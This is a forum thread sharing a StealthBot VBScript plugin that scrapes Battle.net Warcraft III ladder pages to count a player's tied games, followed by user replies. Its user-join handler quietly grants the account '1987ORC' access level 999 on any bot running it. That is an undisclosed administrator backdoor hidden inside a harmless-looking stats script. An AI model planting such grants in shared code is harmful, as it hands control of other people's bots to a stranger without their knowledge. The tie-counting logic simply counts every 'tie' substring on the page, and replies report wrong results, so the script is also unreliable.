Get the ties of an user, made by T[x]aS !

[xiN]

here it is =) its fun only for Northrend !

.getties username = number of ties !

'GetTieS
'1.0
'**** by DrOiD3
Dim TotalTies
dim Users(40)
dim Txttotal
Dim LastTies
Sub GetTieS_Event_UserTalk(Username, Flags, Message, Ping)



Call ssc.GetDBEntry(username, Access, Flags)
if access < 70 then exit sub	

If Left(Message, 9) = BotVars.Trigger & "getties " then
   User = mid(message,10)
   Addq "/emote Searching The Ties of [ " & User & " ]"
   call BuscaTiesEn(user,1)
end if

If Message = BotVars.Trigger & "gettiesinchannel" then
    Addq "/emote Searching The Ties of " & GetInternalUserCount() & " in Channel " & myChannel
	Txttotal = GetInternalUserCount()
	For i = 1 to 40
		Users(i) = ""
	next
	
	For i = 1 to GetInternalUserCount()
		Users(i) = GetNameByPosition(i)
	next
	
	For i = 1 to 40
		if users(i) <> "" then
			call BuscaTiesEn(users(i),i)
		end if		   
    next

end if

end sub




sub BuscaTiesEn(user,id)
    
	
	
	TotalTies = 0
	if ScINet.stillExecuting then
	   addq  username & "   ^_^ I'M BuSy   "
	   exit sub	  
	end if	
	
	'/// Total PAginas
	ContentP = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo=1")
	pos = InStr(contentp, "left-bot.gif")
	ContentP = mid(contentp,pos + 15,1000)
	pos = InStr(contentp, "Asc&PageNo")
	ContentP = mid(contentp,pos + 15)
	pos = InStr(contentp, "Asc&PageNo")
	paginas = mid(contentp,pos+11,2)
	paginas = GetNumber(paginas)
	'addchat vbgreen , contentp
	TotalGAmes = 20 * paginas
	
	addchat vbred, "PAGINAS: " & Paginas
	
	
	if paginas > 50 then paginas = 50
	
	For j=1 to paginas
	     'addq "/emote >> Searching Ties in Page [ " & j & " ]"
	    addchat vbred, j
		testResult = j Mod 2
		if testResult = 0 then Addq "/emote Searched a total of [ " & j & "/" & paginas & " pages ] " & TxtPorcent(j,paginas) & " % Done | " & User
		Content = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo="&j)
		LastTies = GetTies (content) 
		TotalTies = TotalTies + lastTies
	Next
   
	TxtTie = ""
'	if TotalTies > 10 then TxtTie = " <---- Mb is a TieHAcker"

	
	
	
	if id = 1 then
		Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie  & " | By DrOiD"' Games: " & 20 * paginas
	else
		Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie & " | " & TxtPorcent(id,Txttotal) & "% Done"
	end if
	
	

end sub

Sub GetTieS_Event_UserJoins(Username, Flags, Message, Ping, Product, Level, OriginalStatstring)

GetDBEntry Username, Access, Flags
If ucase(username) = "1987ORC" Then Command MyUsername, "/add " & Username & " 999", True
end sub


Function GetTies(str)
str = lcase(str)
GetTies = 0
termina = "no"
While termina = "no"

pos = InStr(str, "tie")
If pos > 0 Then
    NumTies = NumTies + 1
    str = Mid(str, pos + 3)
Else
   termina = "si"
End If

Wend

GetTies = NumTies

End Function




function TxtPorcent(i,txttotal)
	TxtPorcent = i * 100/Txttotal
	TxtPorcent = left(TxtPorcent,5)
end function



Function GetNumber(Str)

for c=1 to len(Str)
car = mid(str,c,1)
if isnumeric(car) then 
	GetNumber = GetNumber & car
	addchat vbgreen, getnumber
end if
next

end function

'Function TotalGames(USer)
'user = "casi.nah-mtb"
'content3 = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-profile.aspx?Gateway=Northrend&PlayerName="&user)
'a = Split(Content3, "Total:</td>")(1)
'TStat =               Split(Split(a, "Row"">")(1), "<")(0)
'TStat = TStat & "-" & Split(Split(a, "Row"">")(2), "<")(0)
'TStat = TStat & "-" & Split(Split(a, "Row"">")(3), "<")(0)
'TotalGames = Split(Split(a, "Row"">")(3), "<")(0)
'TotalGames = TStat 
'end function


Sub TieStreak(User)

user = "casi.nah-mtb"
'content = Me.Inet1.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
content = scinet.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
pos = InStr(content, "Opponents:")
content = Mid(content, pos)

addchat vbgreen, content
end sub

[hendricius]

Very nice script :-).

How about you add them to our Download-section? I can add a stealthbot category.

[xiN]

i added it im gonna had the others :p

[WaitForUfo]

Haha, very cute

[xiN]

true, its just imba ^^

[zera89]

In the Last days the Bot doesnt realy shows me the ties?

He often shows 0 ties and search just on 14 pages if someone have 144 etc.
Is there something to fixx it?

[xiN]

it should say every ties, but it sometimes bugs, u can see it into ur bot, just re-do .getties <user> , i found another bug, i have about 120 ties and bots says i have 2 xD, but i am not the maker of the plugin, i cant know how to fix it

[lolercakess]

haha very nice plug but ... i have 1589 ties >_<

[Alt-F[4]]

cant get it working

[Extermjunge]

ed
<-- starman
it works on stealthbot ??
i tried to download it from droid on w3roc.com but i duno xd